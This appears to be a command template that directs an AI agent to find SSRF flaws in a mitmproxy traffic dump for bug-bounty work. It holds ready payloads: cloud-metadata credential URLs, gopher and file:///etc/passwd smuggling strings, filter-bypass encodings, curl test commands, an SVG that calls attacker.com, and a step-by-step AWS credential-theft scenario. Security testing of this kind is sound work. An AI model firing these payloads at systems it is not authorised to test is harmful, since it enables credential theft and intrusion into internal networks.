Find SSRF Vulnerabilities
Analyze the mitmproxy dump (log.txt) for SSRF vulnerabilities for: $ARGUMENTS
Requires:
log.txtin the current directory. If it's missing, capture traffic first:bashmitmdump --set flow_detail=3 2>&1 | tee log.txt
High-Value SSRF Patterns (from 113 real HackerOne bounty reports)
1. URL Parameters in Requests
Common vulnerable parameters:
url, uri, path, dest, redirect, link, href src, source, file, document, page, load target, proxy, fetch, request, callback webhook, hook, endpoint, api_url, base_url image_url, avatar_url, icon_url, logo_url pdf_url, export_url, import_url, feed_url
Search patterns:
bashgrep -iE '(url|uri|path|src|href|link|dest|redirect|webhook|callback|fetch|proxy|target)[=:]["'\''"]?https?://' log.txt
2. File/Image Processing Endpoints
Real examples from bounties:
- SVG upload triggers SSRF (Shopify)
- Image URL in product creation
- PDF generation with external resources
- Avatar/profile picture from URL
Search patterns:
bashgrep -iE '\.(svg|pdf|xml|html)' log.txt grep -iE '(upload|import|fetch|process).*url' log.txt
3. Integration/Webhook Endpoints
Real examples:
- Sentry source code scraping
- Git clone with credentials
- OAuth callback manipulation
- Webhook URL specification
Search patterns:
bashgrep -iE '(webhook|callback|hook|notify|integration)' log.txt grep -iE 'git.*clone|git.*url' log.txt
4. Host Header Injection
Real example: Host header bypass accessing internal subdomains
Host: internal.target.com X-Forwarded-Host: internal.target.com X-Original-URL: /internal/admin
Search patterns:
bashgrep -iE '^Host:' log.txt grep -iE 'X-Forwarded|X-Original' log.txt
SSRF Target Payloads
Internal Network Probing
http://127.0.0.1 http://localhost http://[::1] http://0.0.0.0 http://169.254.169.254 # AWS metadata http://metadata.google.internal # GCP metadata http://100.100.100.200 # Alibaba metadata
Cloud Metadata Endpoints (Critical)
# AWS http://169.254.169.254/latest/meta-data/ http://169.254.169.254/latest/user-data/ http://169.254.169.254/latest/meta-data/iam/security-credentials/ # GCP http://metadata.google.internal/computeMetadata/v1/ http://169.254.169.254/computeMetadata/v1/ # Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 # DigitalOcean http://169.254.169.254/metadata/v1/
Protocol Smuggling
file:///etc/passwd dict://localhost:11211/ gopher://localhost:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a ldap://localhost/
Vulnerability Categories & Severity
| Type | Severity | Impact |
|---|---|---|
| Cloud metadata access | CRITICAL | AWS keys, service credentials |
| Internal service access | HIGH | Database, cache, admin panels |
| Blind SSRF (OOB) | MEDIUM | Port scanning, internal recon |
| Limited SSRF (no response) | LOW | Denial of service, limited recon |
Testing Methodology
Step 1: Identify URL Input Points
bash# Find URL-like parameters grep -iE 'https?://[^\s"'\''<>]+' log.txt | grep -iE '(url|uri|src|href|link|path)=' # Find base64 encoded URLs grep -oE '[A-Za-z0-9+/]{20,}={0,2}' log.txt | while read b; do echo "$b" | base64 -d 2>/dev/null | grep -q 'http' && echo "Base64 URL: $b"; done
Step 2: Test with Internal Targets
bash# Test localhost curl 'https://target.com/api/fetch?url=http://127.0.0.1:80' # Test metadata (AWS) curl 'https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/' # Test with DNS rebinding curl 'https://target.com/api/fetch?url=http://your-rebind-domain.com'
Step 3: Bypass Common Filters
bash# IP variations http://127.0.0.1 → http://2130706433 (decimal) http://127.0.0.1 → http://0x7f000001 (hex) http://127.0.0.1 → http://0177.0.0.1 (octal) http://127.0.0.1 → http://127.1 # DNS bypass http://localhost → http://localtest.me http://169.254.169.254 → http://[0:0:0:0:0:ffff:169.254.169.254] # URL encoding http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31
Step 4: Confirm with Out-of-Band
bash# Use Burp Collaborator, webhook.site, or interactsh curl 'https://target.com/api/fetch?url=http://YOUR-BURP-COLLABORATOR-ID.burpcollaborator.net'
Real Attack Scenarios
Scenario 1: AWS Credential Theft via SSRF
1. Find image import feature: POST /api/import?image_url=XXX 2. Set URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/ 3. Response contains IAM role name 4. Fetch: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME 5. Get temporary AWS credentials
Scenario 2: Internal Service Access
1. Find webhook configuration 2. Set webhook URL to internal service: http://internal-admin.local/ 3. Trigger webhook 4. Access internal admin panel functionality
Scenario 3: Blind SSRF via SVG
1. Upload SVG file with external reference: <svg><image href="http://attacker.com/callback"/></svg> 2. Server processes SVG, fetches external URL 3. Attacker receives connection from internal IP
Output Format
## SSRF Finding: [Brief Description] **Endpoint**: `METHOD https://target.com/path` **Parameter**: `param_name` **Type**: [Full|Blind|Partial] **Severity**: [CRITICAL|HIGH|MEDIUM|LOW] **Evidence**: [Request showing URL parameter] **Tested Payloads**: - http://127.0.0.1 → [response/behavior] - http://169.254.169.254 → [response/behavior] **Impact**: - Cloud credential theft - Internal network access - Service enumeration **Test Command**: curl -X METHOD 'https://target.com/...' -d 'url=http://169.254.169.254/' **Remediation**: - Whitelist allowed domains - Block private IP ranges - Use allowlist for protocols (http/https only) - Disable redirects or validate redirect targets
False Positives to Ignore
- Static CDN URLs that are hardcoded
- OAuth redirect_uri that's validated against whitelist
- Webhook URLs that only accept HTTPS and validated domains
- URL parameters that are client-side only (JS fetch)


